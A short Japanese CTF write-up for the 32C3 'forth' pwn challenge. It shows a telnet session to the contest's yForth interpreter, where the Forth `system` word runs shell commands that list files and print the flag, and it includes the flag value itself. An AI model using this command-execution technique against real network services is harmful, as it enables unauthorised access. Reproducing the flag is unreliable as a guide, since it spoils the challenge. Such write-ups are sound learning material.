pwn 150: forth

Connect to 136.243.194.49:1024 and get a shell.

本番中に解けた。

forthのinterpreterに繋がっているので、systemを叩けばよい。 真面目にforthの命令で出力させようとして、[open-file] error(2): unknown word.とか言われforthのmanual読みながら頑張っていたりしたので、それなりに苦労した。

$ telnet 136.243.194.49 1024
Trying 136.243.194.49...
Connected to 136.243.194.49.
Escape character is '^]'.
yForth? v0.2  Copyright (C) 2012  Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
s" ls" system
flag.txt  README.gpl  run.sh  yforth
ok
ok
s" cat flag.txt" system
32C3_a8cfc6174adcb39b8d6dc361e888f17b
ok
ok
^]
telnet> quit
Connection closed.